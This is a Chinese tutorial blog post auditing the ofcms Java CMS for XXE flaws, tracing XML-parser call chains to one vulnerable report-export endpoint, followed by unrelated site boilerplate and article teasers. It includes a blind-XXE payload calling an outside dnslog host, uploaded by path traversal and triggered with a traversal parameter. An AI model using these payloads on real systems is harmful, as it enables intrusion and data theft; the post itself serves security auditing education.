Java代码审计篇 | ofcms系统审计思路讲解 - 篇4 | XXE漏洞审计

文章目录

  • Java代码审计篇 | ofcms系统审计思路讲解 - 篇4 | XXE漏洞审计
  • 0. 前言
  • 1. XXE代码审计【有1处】
    • 1.1. 搜索JRXmlLoader
      • 1.1.1. JRAntApiWriteTask
      • 1.1.2. JRAntUpdateTask
      • 1.1.3. TableReportContextXmlRule
      • 1.1.4. JasperCompileManager【存在漏洞】
    • 1.2. 搜索XMLReader
      • 1.2.1. DTMManagerDefault
      • 1.2.2. IncrementalSAXSource\_Xerces
      • 1.2.3. IncrementalSAXSource\_Filter
      • 1.2.4. XMLReaderManager
      • 1.2.5. CoroutineParser
    • 1.3. 搜索SAXBuilder
    • 1.4. 搜索SAXReader
    • 1.5. 搜索SAXParserFactory
      • 1.5.1. SynthParser
      • 1.5.2. ResolvingParser
      • 1.5.3. Process
      • 1.5.4. SAXCatalogReader
      • 1.5.5. AndroidFontFinder
      • 1.5.6. JRPrintXmlLoader
    • 1.6. 搜索Digester
      • 1.6.1. JRXmlLoader
      • 1.6.2. JRPrintXmlLoader
      • 1.6.3. JRXmlTemplateLoader
    • 1.7. 搜索DocumentBuilderFactory
      • 1.7.1. DTMManagerDefault
      • 1.7.2. DOMCatalogReader

Java代码审计篇 | ofcms系统审计思路讲解 - 篇4 | XXE漏洞审计

0. 前言

我发现很多文章包括教程,大概套路是:只说有漏洞的点,将有漏洞的点指出,然后分析代码;或者黑盒测试出漏洞之后,然后分析代码。

我认为这是在分析漏洞代码,而非代码审计。代码审计文章或教程应该是从0开始找到漏洞所在,包括思路!

所以这里不管有没有漏洞,我都会把审计过程写出来,因此篇幅会很长,但我认为这样对你会很有帮助。

知其然亦知所以然。

由于篇幅较长,因此我会分几篇进行,本篇是整个系列的第4篇,讲解1个内容:

  • XXE漏洞审计

本系列文章:

  • Java代码审计篇 | ofcms系统审计思路讲解 - 篇1 | 环境搭建、路由机制
  • Java代码审计篇 | ofcms系统审计思路讲解 - 篇2 | SQL注入漏洞审计
  • Java代码审计篇 | ofcms系统审计思路讲解 - 篇3 | 文件上传漏洞审计
  • Java代码审计篇 | ofcms系统审计思路讲解 - 篇4 | XXE漏洞审计

搭建好环境,确定好项目结构之后,按我思路是应该审计项目所使用框架漏洞的,这里关于框架漏洞就放最后篇章来说了,我们先了解下基础漏洞的审计~

文章中有错误点,或者思路上有什么问题的,欢迎师傅们留言指出~

1. XXE代码审计【有1处】

XXE代码审计常搜索的关键字如下:

XMLReader
SAXBuilder
SAXReader
SAXParserFactory
Digester
DocumentBuilderFactory
...

还有一个特殊的,用于加载.jrxml 文件,这是 JasperReports 特定的 XML 格式,用于定义报告模板。

JRXmlLoader

1.1. 搜索JRXmlLoader

当然这样搜比较慢,而且有很多重复的,这里有个小技巧,可以搜到JRXmlLoader之后,然后Find Usages(Alt+F7),然后找到Usage in import查看哪些类有导入JRXmlLoader。

概涉及的类有:

JRAntApiWriteTask
JRAntUpdateTask
TableReportContextXmlRule
JasperCompileManager
JasperDesignCache
JRDesignViewer
...

挨个查看一下,需要找解析jrxml文件的代码以及对应方法的调用情况:

这里有个小技巧:因为这些类都是导入的jar包内部的,这说明,不是每个类和方法都会被使用到;
与之不同的则是项目自己写的类和方法,一般都会被用到。
因此:我们可以先查找类中方法的调用,确定有没有使用到,没有使用到就不用管了,这样可以节省大量的时间。

1.1.1. JRAntApiWriteTask

进到JRAntApiWriteTask类中之后,在本类中同样搜索JRXmlLoader,查看哪些位置使用了JRXmlLoader:

可以看到,代码中使用了JRXmlLoader.load(srcFileName),这里调用了.load()方法,这是JRXmlLoader加载jrxml文件的方式。

其中这段代码是在writeApi()方法中被调用。

接下来的思路是:先查找writeApi()方法的调用情况(原因前面已经说了)

可以看到,同类下的execute()方法对其有调用,但是通过查找execute()的调用,发现并没有被使用。因此,此处就不需要再往下进行了。

1.1.2. JRAntUpdateTask

进到JRAntUpdateTask类中之后,在本类中同样搜索JRXmlLoader,查看哪些位置使用了JRXmlLoader,以及方法的调用情况:

和JRAntApiWriteTask类中的情况一样,execute()没有被调用,不用管了。

1.1.3. TableReportContextXmlRule

这个类虽然导入了JRXmlLoader,但是没有调用.load()方法,所以也不用管了

1.1.4. JasperCompileManager【存在漏洞】

这个类中的方法很多,很多方法都用到了JRXmlLoader:

我们应该怎么定位呢?

想一下我们在干嘛?是不是在寻找XXE漏洞,回想XXE原理,其中前提是:代码需要解析xml(jrxml)文件才可能有漏洞,如果是生成xml文件是不是就不用管了。

因此:我们需要定位到解析xml(jrxml)文件的地方。

在JRXmlLoader中解析使用的是load()方法,因此我们可以在当前类中搜索.load(,发现定位到了5个位置:

来详细看一下:

分析一下代码,方法之间进行了互相调用,当然也调用了除了上述方法之外的方法。

下面我用调用图展示一下:

这三个调用链都涉及到了load()方法,因此都有可能存在XXE漏洞。

接下来看每个调用链最上层的方法是怎么调用的(也就是找参数sourceFileName从哪来的),三个方法分别如下:(通过Find Usages/Alt+F7查询)

  • compileReportToFile()方法,没有被调用,即该方法没有触发,不用管了~

  • 第1个compile(String sourceFileName)方法,被当前类的compileReport(String sourceFileName)方法调用

  • 第2个compile(InputStream inputStream)方法,被当前类的compileReport(InputStream inputStream)方法调用

  • compileReportToStream()方法,没有被调用,即该方法没有触发,不用管了~

目前,只需要关注其中两个就好:

  • 1)ompileReport(String sourceFileName)
  • 2)compileReport(InputStream inputStream)

继续查看其调用关系:其中compileReport(InputStream inputStream)存在调用,ompileReport(String sourceFileName)没有被调用。

定位到compileReport(InputStream inputStream)的调用位置,查看源码:

ReprotAction类的expReport()方法将其调用。

并且ReprotAction类上存在一个@Action(path = "/reprot")注解,也就是说这里可以被前端请求触发执行。

触发该expReport()方法的接口为:/admin/reprot/expReport.json

那么接下来做两件事:

  • 1)确定传参,有无过滤
  • 2)触发接口,进行漏洞测试

从下面这段代码可以看出:compileReport(new FileInputStream(file))的file是从"/WEB-INF/jrxml/" + jrxmlFileName + ".jrxml"获取的.jrxml文件,而具体什么文件,由前端传递的“j”参数决定。

简单来说就是:在/WEB-INF/jrxml/目录下寻找“j”参数指定的.jrxml文件进行jrxml文件的解析。

并从调用链看出:整个过程没有对文件进行过滤,包括也没有禁止解析外部实体(默认可以解析外部实体)。

调用链如下:

expReport()->compileReport()->compile()->JRXmlLoader.load()

所以这里是存在XXE漏洞的。

那这样的话,我们只需要保证:前端触发/admin/reprot/expReport.json接口时,传递“j”参数指定的.jrxml文件中存在恶意外部实体,就可以实现漏洞利用。

这里还有一个问题:“j”参数指定的.jrxml文件是在/WEB-INF/jrxml/目录下,这里我们是不可控的,因此怎么让ta能够加载一个存在恶意外部实体的.jrxml文件呢?

这里只能结合前面的文件上传漏洞,写入恶意.jrxml,来实现XXE漏洞的利用(如果这里不存在文件上传漏洞,这里无法利用)。

接下来,尝试利用一下:(这里没有回显,使用盲XXE方式)

1)通过文件上传漏洞,上传一个带有恶意外部实体的.jrxml文件。

file_name=../../../static/exp.jrxml
file_content=%3C%3Fxml+version%3D%221.0%22+encoding%3D%22UTF-8%22%3F%3E%3C%21DOCTYPE+root+%5B%3C%21ENTITY+%25+exp+SYSTEM+%22http%3A%2F%2Fxzlxvdibrb.iyhc.eu.org%22%3E%25exp%3B%5D%3E

file_content解码如下:

<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [<!ENTITY % exp SYSTEM "http://xzlxvdibrb.iyhc.eu.org">%exp;]>

2)触发/admin/reprot/expReport.json接口

根据功能和接口可以定位到功能为止:用户管理-导出全部

点击“导出全部”,抓包,修改参数:

j=../../static/exp

可以看到,请求dnslog成功

1.2. 搜索XMLReader

注释忽略不看,剩余的大概涉及的类有

DTMManagerDefault
IncrementalSAXSource_Xerces
IncrementalSAXSource_Filter
XMLReaderManager
下面是接口
CoroutineParser

每个都大概看一下:(找方法的调用情况,及解析xml文件的相关方法,比如parse()等)

XMLReader的使用链为:

XMLReader.parse()

1.2.1. DTMManagerDefault

这个调用链非常的长,一般超过3个我都不会去审计了,因为ta有可能是组件内部使用的,有兴趣的师傅可以自行追一下方法调用链,说不定有组件0day哦~

1.2.2. IncrementalSAXSource_Xerces

该类中不存在解析xml文件的代码,故忽略

1.2.3. IncrementalSAXSource_Filter

此类中存在解析xml文件的代码

接下来,追踪其方法调用及参数传递

run()方法的调用很多:

但是存在一个问题,parse()方法所需的参数,并不是run()方法传递进来的。

因此接下来从参数传递进行分析,看是否可控

可以看到,该参数是startParse(InputSource source)方法传入,接下来追踪下该方法

有两个类中调用了该方法,一个DTMManagerDefault,一个IncrementalSAXSource_Xerces

1.2.4. XMLReaderManager

疲倦了,师傅们自己追追吧~

1.2.5. CoroutineParser

疲倦了,师傅们自己追追吧~

1.3. 搜索SAXBuilder

不存在SAXBuilder。

1.4. 搜索SAXReader

搜索SAXReader之后,进入类之后,发现所搜到的都是变量名

并不是SAXReader对象,而是SAXCatalogReader类对象,没有解析xml文件的代码,所以不需要再看了。

📌SAXCatalogReader 是一个与 XML 解析相关的概念,主要用于处理 XML 文档中的外部实体引用。它通常与 XML 解析器一起使用,以解决 DTD(Document Type Definition)或 XML 实体的重定向问题。通过配置 SAXCatalogReader,可以在解析 XML 文档时指定特定的目录文件,从而控制对外部资源的访问。

1.5. 搜索SAXParserFactory

SAXParserFactory的使用链为:

SAXParserFactory.newInstance().newSAXParser().parse()

所以在搜索到的类中,搜索.parse(,如果有的话则存在解析xml,不存在则没有。

这里交给大家一个小技巧,使用正则表达式,搜索包含SAXParserFactory且包含.parse(的java类:

(SAXParserFactory(.|\n)*\.parse\()|(\.parse\((.|\n)*\.parse\(SAXParserFactory)

通过搜索,可以定位到比较精确的java类:

设计到的类有:

SynthParser
ResolvingParser
Process
SAXCatalogReader
AndroidFontFinder
JRPrintXmlLoader

1.5.1. SynthParser

追踪一下parse()的调用,发现存在

继续追踪load(),发现只在注释中出现,没有其他调用了,那就不用管了。

1.5.2. ResolvingParser

这个类搜索到的parse并不是用来解析xml文件的,所以忽略

1.5.3. Process

该类中存在解析xml文件的代码:

该段代码存在的方法为_main(),但并未有调用,因此忽略

1.5.4. SAXCatalogReader

该类中存在解析xml文件的代码:

追踪下readCatalog()方法的调用,这个时候,会发现,方法的调用链很长。此时也要结合参数的来源一同分析。

📌tips:方法的调用链很长,没完没了,其实这里差不多可以放弃了,如果是项目代码中真正用到了,代用链不会过长(当然也不一定,只是经验之谈)。
当然,你可以继续查看调用链,说不定会存在组件0day。
这里其实也可以结合参数来一起分析,参数可能在方法调用链的某个中间位置就确定了,那就不需要分析这么长的调用链了。

通过分析方法调用和参数传递,主要分为两种情况:

readCatalog()方法的调用一部分来自其他类中readCatalog()方法,而这些方法并没有再被调用,所以没有被使用,因此这部分忽略,见下图红框处:

剩下的就是parseCatalog()方法了:

其中parseCatalog(URL aUrl)无调用:

其中parseCatalogFile(String fileName)调用链比较长,但是参数在该方法中就确定了:

不是可控的,不用管了。

最后的parseCatalog(String mimeType, InputStream is)

还得继续追踪其调用:

追踪到queryResolver()方法,其参数也是不可控的,忽略。

SAXCatalogReader的分析到此为止。

1.5.5. AndroidFontFinder

该类中存在解析xml文件的代码:

其中参数来源为parseSystemDefaultFonts()方法,追踪该方法的调用:

存在两个,但是parseSystemDefaultFonts()方法所需参数并不是从这两个方法传入的,因此在这两个方法内部就确定了parseSystemDefaultFonts()方法所需参数,即最终parse()方法的参数。

那么分析一下:

这里可以看出,这个参数是固定不可控的,因此忽略,另一个方法内部也是如此,因此也忽略。

1.5.6. JRPrintXmlLoader

该类中存在解析xml文件的代码:

其方法为loadXML(InputStream is),追踪方法调用,

但是追踪其方法调用,发现最上层方法并没有被调用,截图略,其中调用链为:

load(String sourceFileName)
loadFromFile(String sourceFileName)
loadFromFile(JasperReportsContext jasperReportsContext, String sourceFileName)loadXML(InputStream is)digester.parse(is)

还有一个调用链为:

RViewer(String fileName, boolean isXML, Locale locale)
JRViewer(String fileName, boolean isXML, Locale locale, ResourceBundle resBundle)
JRViewer(JasperReportsContext jasperReportsContext,String fileName, boolean isXML, Locale locale, ResourceBundle resBundle)
loadReport(String fileName, boolean isXmlReport)loadXML(InputStream is)digester.parse(is)

不管哪个调用链,其最上层方法都没有被调用,因此忽略。

1.6. 搜索Digester

Digester的使用链为:

Digester.parse()

所以在搜索到的类中,搜索.parse(,如果有的话则存在解析xml,不存在则没有。

使用正则表达式,搜索包含Digester且包含.parse(的java类:

(Digester(.|\n)*\.parse\()|(\.parse\((.|\n)*\.parse\(Digester)

通过搜索,可以定位到比较精确的java类:

涉及的类有:

JRXmlLoader
JRPrintXmlLoader
JRXmlTemplateLoader

1.6.1. JRXmlLoader

该类中的loadXML()方法没有被调用,忽略

1.6.2. JRPrintXmlLoader

该类中的loadXML()方法没有被调用,忽略

1.6.3. JRXmlTemplateLoader

该类中的loadTemplate()方法没有被调用,忽略

1.7. 搜索DocumentBuilderFactory

DocumentBuilderFactory的使用链为:

DocumentBuilderFactory.newInstance().parse(new InputSource(new StringReader(xxx)))

所以在搜索到的类中,搜索.parse(,如果有的话则存在解析xml,不存在则没有。

使用正则表达式,搜索包含DocumentBuilderFactory且包含.parse(的java类:

(DocumentBuilderFactory(.|\n)*\.parse\()|(\.parse\((.|\n)*\.parse\(DocumentBuilderFactory)

通过搜索,可以定位到比较精确的java类:

涉及到的类有:

DTMManagerDefault
DOMCatalogReader
XMLParserImpl
Process
TransformerImpl
XPathExpressionImpl
Metacity
JRXmlDocumentProducer
JRXmlUtils
JRStyledTextParser
SimpleFontExtensionHelper
MapFillComponent
FillPlaceItem
XmlSupport

接下来思路一下,查看每个类中相关代码

  • parse是不在解析xml文件
  • 其相关方法的调用关系
  • 解析的xml文件参数是否可控
  • 有无过滤、禁止解析外部DTD

1.7.1. DTMManagerDefault

之前遇到过,忽略。

1.7.2. DOMCatalogReader

该类中存在解析xml文件的代码:

其方法为readCatalog(Catalog catalog, InputStream is),追踪方法调用。

📌剩下的不想追了,累了~ 有兴趣的师傅可以自己每个都追下,这样就不会漏了,祝各位师傅天天出0day。

有好的技巧、好的思路的师傅也可以共享下思路,互相学习~~么么哒

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/428681.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

并查集LRU cache

并查集的定义 将n个不同的元素划分成一些不相交的集合。开始时&#xff0c;每个元素自成一个单元素集合&#xff0c;然后按一定的规律将归于同一组元素的集合合并。在此过程中要反复用到查询某一个元素归属于那个集合的运算。适合于描述这类问题的抽象数据类型称为并查集(unio…

Qt (19)【Qt 线程安全 | 互斥锁QMutex QMutexLocker | 条件变量 | 信号量】

阅读导航 引言一、互斥锁1. QMutex&#xff08;1&#xff09;基本概念&#xff08;2&#xff09;使用示例基本需求⭕thread.h⭕thread.cpp⭕widget.h⭕widget.cpp 2. QMutexLocker&#xff08;1&#xff09;基本概念&#xff08;2&#xff09;使用示例 3. QReadWriteLocker、QR…

string类(C++)

哈喽各位&#xff01;&#xff0c;久违了&#xff0c;最近怎么样捏&#xff0c;本次进入C的string类&#xff0c;加油加油呀&#xff01; 随记&#xff1a;鼓励创新&#xff0c;宽容失败&#xff01; 1.标准库的string类 1.1string类的了解 string的文献参考链接-->strin…

Buck变换器闭环控制,simulink仿真模型(适合初学者学习)

Buck变换器&#xff0c;又称为降压斩波器&#xff0c;是一种常见的DC-DC转换器&#xff0c;广泛应用于电源管理领域。它通过开关元件&#xff08;通常是MOSFET或BJT&#xff09;的导通与截止&#xff0c;改变输入电压到负载的平均电压&#xff0c;从而实现电压的降低。在实际应…

828华为云征文——使用Flexus云服务器X实例CentOS镜像下创建MySQL服务器教程

一、概述 1.1 前言 当前正值华为云盛大的828 B2B企业庆典&#xff0c;其中Flexus X实例的特惠活动尤为吸引人眼球。对于追求极致算力表现&#xff0c;并期望在自建MySQL数据库、Redis缓存系统及Nginx服务器部署上获得卓越性能的企业用户而言&#xff0c;这无疑是一个不可多得的…

SpringCloud (1) 服务拆解

1 服务拆解和治理 1.1 服务拆解 微服务的核心就是服务拆分,将传统的大项目拆分为多个微型服务(服务或微服务),实现服务之间"高内聚(微服务职责单一),低耦合(微服务功能相对独立)"的目的 (1) 水平(横向)拆分:先搭出拆分框架,比如【公共服务】(比如:common服务,client…

Python数据分析与可视化(Python绘图详解)

✅作者简介&#xff1a;2022年博客新星 第八。热爱国学的Java后端开发者&#xff0c;修心和技术同步精进。 &#x1f34e;个人主页&#xff1a;Java Fans的博客 &#x1f34a;个人信条&#xff1a;不迁怒&#xff0c;不贰过。小知识&#xff0c;大智慧。 &#x1f49e;当前专栏…

轻量级流密码算法Trivium

轻量级流密码算法Trivium 0x0 Trivium算法简介 Trivium算法是由C&#xff0e;D Canniere和B&#xff0e;Preneel共同设计的一套对称加密算法&#xff0c;Trivium密码算法采用了分组密码和非线性反馈移位寄存器的设计思路。该密码算法总共288比特的内部状态&#xff0c;其中有…

数据篇| 关于Selenium反爬杂谈

友情提示:本章节只做相关技术讨论, 爬虫触犯法律责任与作者无关。 LLM虽然如火如荼进行着, 但是没有数据支撑, 都是纸上谈兵, 人工智能的三辆马车:算法-数据-算力,缺一不可。之前写过关于LLM微调文章《微调入门篇:大模型微调的理论学习》、《微调实操一: 增量预训练(Pretrai…

【手撕算法】快速排序(递归分治法)Python实现

一、算法 class Solution:def Partition(self, nums, low, high):pivotkey nums[low] # 元素copied, nums[low]空了出来while low < high:while low < high and nums[high] > pivotkey:high high - 1 # 直到找到一个nums[high]<pivotkey位置nums[low] nums[h…

Matlab simulink建模与仿真 第十七章(补充离散库和补充数学库)

参考视频&#xff1a;simulink1.1simulink简介_哔哩哔哩_bilibili 一、补充离散库和补充数学库中的模块概览 1、补充离散库 注&#xff1a;每个版本的补充离散库不一定相同&#xff0c;也不是每个版本的库都有如上所有模块。 2、补充数学库 二、离散直接传递函数Ⅱ模块 1、…

学生护眼台灯哪个品牌比较好?五款性价比高的学生护眼台灯

现在的孩子学习压力很大&#xff0c;在学校课程已经塞满了大半天&#xff0c;课后的作业更是不少&#xff0c;空闲时间还需要去课后补习班的数不胜数。用眼的次数非常的高&#xff0c;眼睛很容易感到疲惫&#xff0c;这时候我们一个宝贝大有作用&#xff0c;就是我们的护眼台灯…

软件测试 BUG 篇

目录 一、软件测试的生命周期 二、BUG 1. bug的概念 2. 描述bug的要素 3. bug的级别 4. bug的生命周期 5. 与开发产生争执怎么办&#xff1f;&#xff08;面试高频考题&#xff09; 5.1 先检查自身&#xff0c;是否bug描述不清楚 5.2 站在用户角度考虑并抛出问题 5.3 …

C++/Qt 集成 AutoHotkey

C/Qt 集成 AutoHotkey 前言AutoHotkey 介绍 方案一&#xff1a;子进程启动编写AutoHotkey脚本准备 AutoHotkey 运行环境编写 C/Qt 代码 方案二&#xff1a;显式动态链接方案探索编译动态链接库集成到C工程关于AutoHotkeyDll.dll中的函数原型 总结 前言 上一篇介绍了AutoHotkey…

YOLOv9改进,YOLOv9主干网络替换为RepViT (CVPR 2024,清华提出,独家首发),助力涨点

摘要 轻量级视觉变换器(ViTs)在资源受限的移动设备上表现出优越的性能和较低的延迟,相比之下轻量级卷积神经网络(CNNs)稍显逊色。研究人员发现了许多轻量级 ViTs 和轻量级 CNNs 之间的结构联系。然而,它们在块结构、宏观和微观设计上的显著架构差异尚未得到充分研究。在…

TC-RAG: 图灵完备的检索增强

1. 背景 大型语言模型在众多关键领域均已取得显著进展&#xff0c;并在各种下游任务中展现出卓越性能。 在医疗领域&#xff0c;这些模型尤显潜力&#xff0c;特别是在对责任感和可靠性要求极高的健康护理领域。这些模型通过全面的医学知识预训练&#xff0c;不仅能支持医生做…

堆的向下调整算法和TOPK问题

目录 1.什么是堆&#xff1f; 1.1 向下调整建堆的时间复杂度计算 1.2 堆的结构体设计 2.堆的功能实现&#xff1a; 2.1 堆的插入&#xff1a; 2.2 堆的删除&#xff1a; 2.3 堆排序&#xff1a; 2.4 向下调整建堆&#xff1a; 2.5 TOPK问题&#xff1a; 2.6 向上调整算…

周末愉快!——周复盘

加班的晚上有一个美梦&#xff01; 周末愉快简单复盘结尾 精华&#xff1a; 在这个信息爆炸的时代&#xff0c;我们的大脑每天都被无数的数据和刺激充斥&#xff0c;以至于我们常常感到应接不暇。然而&#xff0c;正如古人所言&#xff1a;“不飞则已&#xff0c;一飞冲天”&am…

音视频入门基础:AAC专题(4)——ADTS格式的AAC裸流实例分析

音视频入门基础&#xff1a;AAC专题系列文章&#xff1a; 音视频入门基础&#xff1a;AAC专题&#xff08;1&#xff09;——AAC官方文档下载 音视频入门基础&#xff1a;AAC专题&#xff08;2&#xff09;——使用FFmpeg命令生成AAC裸流文件 音视频入门基础&#xff1a;AAC…

Paragon NTFS for Mac和Tuxera NTFS for Mac,那么两种工具有什么区别呢?

我们在使用Mac系统读取U盘的过程中往往会遇到一个问题&#xff0c;那就是U盘插进电脑无法显示&#xff0c;或者只能读取不能编辑。出现这种情况的原因就一般是格式错误。 很多小伙伴在解决这种问题的时候会选择使用U盘读写工具&#xff0c;那么哪一种读写工具比较好呢&#xf…